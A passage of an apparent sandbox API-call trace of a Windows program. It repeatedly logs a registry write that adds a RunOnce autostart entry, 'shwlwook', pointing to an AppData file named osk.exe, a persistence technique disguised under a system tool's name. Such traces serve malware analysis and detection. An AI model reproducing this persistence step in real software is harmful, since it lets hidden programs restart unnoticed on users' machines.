RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0259.950] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0259.950] RegCloseKey (hKey=0x14c) returned 0x0 [0259.951] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0259.951] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0259.964] TranslateMessage (lpMsg=0x95f69c) returned 0 [0259.964] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0259.965] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0259.965] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0259.965] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0259.965] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0259.966] RegCloseKey (hKey=0x14c) returned 0x0 [0259.966] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0259.966] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0259.980] TranslateMessage (lpMsg=0x95f69c) returned 0 [0259.980] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0259.981] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0259.981] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0259.981] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0259.982] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0259.982] RegCloseKey (hKey=0x14c) returned 0x0 [0259.982] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0259.982] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0259.996] TranslateMessage (lpMsg=0x95f69c) returned 0 [0259.996] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0259.996] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0259.997] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0259.997] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0259.997] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0259.998] RegCloseKey (hKey=0x14c) returned 0x0 [0259.998] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0259.998] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0260.011] TranslateMessage (lpMsg=0x95f69c) returned 0 [0260.011] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0260.012] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0260.012] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0260.012] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0260.012] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0260.013] RegCloseKey (hKey=0x14c) returned 0x0 [0260.013] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0260.013] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0260.027] TranslateMessage (lpMsg=0x95f69c) returned 0 [0260.027] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0260.027] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0260.028] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0260.028] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0260.028] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0260.028] RegCloseKey (hKey=0x14c) returned 0x0 [0260.028] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0260.029] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0260.044] TranslateMessage (lpMsg=0x95f69c) returned 0 [0260.044] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0260.044] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0260.045] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0260.045] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0260.045] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0260.045] RegCloseKey (hKey=0x14c) returned 0x0 [0260.045] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0260.046] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0260.063] TranslateMessage (lpMsg=0x95f69c) returned 0 [0260.063] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0260.063] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0260.064] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0260.064] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0260.064] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0260.064] RegCloseKey (hKey=0x14c) returned 0x0 [0260.065] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0260.065] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0260.074] TranslateMessage (lpMsg=0x95f69c) returned 0 [0260.074] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0260.075] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0260.075] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0260.076] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0260.076] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0260.076] RegCloseKey (hKey=0x14c) returned 0x0 [0260.076] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0260.077] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0260.090] TranslateMessage (lpMsg=0x95f69c) returned 0 [0260.090] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0260.090] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0260.090] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0260.090] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0260.091] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0260.091] RegCloseKey (hKey=0x14c) returned 0x0 [0260.091] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0260.091] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0260.105] TranslateMessage (lpMsg=0x95f69c) returned 0 [0260.105] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0260.106] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0260.106] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0260.106] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0260.107] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0260.107] RegCloseKey (hKey=0x14c) returned 0x0 [0260.107] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0260.107] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0260.121] TranslateMessage (lpMsg=0x95f69c) returned 0 [0260.121] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0260.121] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0260.121] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0260.122] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0260.122] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0260.122] RegCloseKey (hKey=0x14c) returned 0x0 [0260.122] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0260.122] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0260.137] TranslateMessage (lpMsg=0x95f69c) returned 0 [0260.137] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0260.137] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0260.138] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0260.138] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0260.138] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0260.138] RegCloseKey (hKey=0x14c) returned 0x0 [0260.138] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0260.139] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0260.206] TranslateMessage (lpMsg=0x95f69c) returned 0 [0260.206] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0260.206] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0260.207] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0260.207] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0260.207] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0260.207] RegCloseKey (hKey=0x14c) returned 0x0 [0260.207] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0260.208] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0260.215] TranslateMessage (lpMsg=0x95f69c) returned 0 [0260.215] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0260.215] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0260.215] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0260.216] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0260.216] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0260.216] RegCloseKey (hKey=0x14c) returned 0x0 [0260.216] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0260.216] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0260.230] TranslateMessage (lpMsg=0x95f69c) returned 0 [0260.230] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0260.231] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0260.232] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0260.232] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0260.232] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0260.232] RegCloseKey (hKey=0x14c) returned 0x0 [0260.233] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0260.233] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0260.246] TranslateMessage (lpMsg=0x95f69c) returned 0 [0260.246] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0260.246] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0260.247] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0260.247] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0260.247] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0260.247] RegCloseKey (hKey=0x14c) returned 0x0 [0260.247] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0260.248] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0260.261] TranslateMessage (lpMsg=0x95f69c) returned 0 [0260.261] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0260.262] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0260.262] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0260.262] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0260.263] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0260.263] RegCloseKey (hKey=0x14c) returned 0x0 [0260.263] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0260.263] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0260.277] TranslateMessage (lpMsg=0x95f69c) returned 0 [0260.277] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0260.277] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0260.278] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0260.278] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0260.278] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0260.278] RegCloseKey (hKey=0x14c) returned 0x0 [0260.279] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0260.279] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0260.293] TranslateMessage (lpMsg=0x95f69c) returned 0 [0260.293] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0260.293] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0260.294] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0260.294] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0260.294] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0260.294] RegCloseKey (hKey=0x14c) returned 0x0 [0260.294] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0260.295] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0260.309] TranslateMessage (lpMsg=0x95f69c) returned 0 [0260.309] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0260.309] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0260.309] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0260.309] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0260.310] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0260.310] RegCloseKey (hKey=0x14c) returned 0x0 [0260.310] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0260.310] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0260.324] TranslateMessage (lpMsg=0x95f69c) returned 0 [0260.324] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0260.324] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0260.325] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0260.325] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0260.325] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0260.325] RegCloseKey (hKey=0x14c) returned 0x0 [0260.325] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0260.326] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: 